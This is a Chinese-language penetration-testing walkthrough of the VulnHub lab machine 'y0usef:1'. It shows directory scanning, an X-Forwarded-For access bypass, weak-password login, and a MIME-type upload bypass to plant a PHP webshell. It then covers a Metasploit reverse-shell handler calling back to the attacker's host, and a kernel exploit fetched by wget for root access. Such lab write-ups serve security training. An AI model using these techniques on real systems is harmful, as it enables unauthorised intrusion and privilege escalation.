作者:ch4nge
时间:2021.1.19
靶场信息:
地址:https://www.vulnhub.com/entry/y0usef-1,624/
发布日期:2020年12月10日
难度:简单
目标:user.txt和root.txt
运行:VirtualBox(网络桥接)
本次靶场使用VirtualBox进行搭建运行,通过kali系统进行渗透测试,步骤按照渗透测试的过程进行。找了比较新的一个vulnhub靶场,此次靶机渗透级别为简单,漏洞利用也很基础。文章有不对的地方欢迎师傅指正~
使用nmap获取目标ip地址为192.168.31.43,使用grep过滤
nmap -sP 192.168.1.0/24 | grep -B 2 -A 0 "VirtualBox"
nmap -sS -sV -T5 -A -p- 192.168.31.43
获得四个端口信息
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
36274/tcp open status 1 (RPC #100024)
Sorry , the site is under construction soon, it run
对不起,网站正在建设中,正在运行
使用gobuster扫描目录,指定200,204,301,302,307,401响应码进行显示
响应码解释
200 (成功) 服务器已成功处理了请求。通常,这表示服务器提供了请求的网页。
204 (无内容) 服务器成功处理了请求,但没有返回任何内容。
301 (永久移动) 请求的网页已永久移动到新位置。服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
302 (临时移动) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
307 (临时重定向) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
401 (未授权)请求要求身份验证。对于需要登录的网页,服务器可能返回此响应。
gobuster dir -u 192.168.1.182 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt -s 200,204,301,302,307,401
扫描到301响应码的/adminstration (Status: 301)
访问这个页面显示
Forbidden
You don't have permission to access on this folder
我没有权限访问,先继续扫描该目录下的文件
http://192.168.1.182/adminstration
gobuster dir -u 192.168.1.182/adminstration -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt -s 200,204,301,302,307,401
/include (Status: 301)
/logout (Status: 301)
/upload (Status: 301)
/users (Status: 301)
/bootstrap (Status: 301)
尝试添加指向本地的X-Forwarded-For header头进行bypass
使用burpsuite进行操作
成功了!是一个登录页面,后面为了方便,我将使用firefox浏览器的插件X-Forwarded-For Header
对网页访问的过程添加有效的X-Forwarded-For header头
只需要填写127.0.0.1并勾选X-Forwarded-For即可
刷新一下,可以看到已经起作用了
我们想办法爆破一下用户名和密码
经过几次尝试发现是很简单的一个弱口令,用户名与密码均是admin
如果猜不到也没有关系,直接使用burpsuite进行对常用用户名爆破。
通过查看,发现网站有一个文件上传的位置
我们尝试bypass上传后门,首先进行信息搜集,看一下网站的语言、服务器信息
Web 服务器: Apache 2.4.10
编程语言: PHP 5.5.9
操作系统: Ubuntu
我先上传了一些正常的文件,发现jpg文件上传失败,png与gif成功了
判断存在MIME 类型检查,使用burpsuite进行抓包分析测试bypass
查看到上传jpg文件时Content-Type: image/jpeg,修改为Content-Type: image/jpg可以上传成功。
直接上传php webshell,绕MIME 类型检查测试。将Content-Type: application/octet-stream修改为Content-Type: image/jpg,filename="phpgsl.php"后缀名不变
上传成功!
使用哥斯拉进行连接http://192.168.1.182/adminstration/upload/files/1611031692phpgsl.php
使用哥斯拉的PMeterpreter
模块反弹shell,在本地kali机器中使用msfconsole接收反弹shell
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.187
msf6 exploit(multi/handler) > set lport 4444
设置好msfconsole之后,哥斯拉的PMeterpreter
模块设置host为kali ip192.168.1.187,端口4444,点击go
看到kali已经接收到了shell
使用python命令升级为交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
查找user.txt
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
看起来是base64编码,解密得到
ssh :
user : yousef
pass : yousef123
root路径没有权限访问,这里先不登录这个yousef用户,因为我们已经有shell了,现在尝试提权到root。
查看一下内核版本
uname -a
Linux yousef-VirtualBox 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686 i686 i686 GNU/Linux
在exploit-db搜索该内核版本是否存在提权漏洞
searchsploit Linux 3.13.0
将37292.c拷贝到桌面,使用python3搭建http服务,为靶机shell提供下载
python3 -m http.server 8000
在shell中进行wget下载脚本,使用gcc编译脚本,得到root权限,查找并读取root.txt文件
base64解码得到
WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx
You've got the root Congratulations any feedback content me twitter @y0usef_11
游戏结束!
此次靶场比较简单,主要是信息搜集的时候要对目录搜集全面,整个过程涉及到的漏洞都很基础。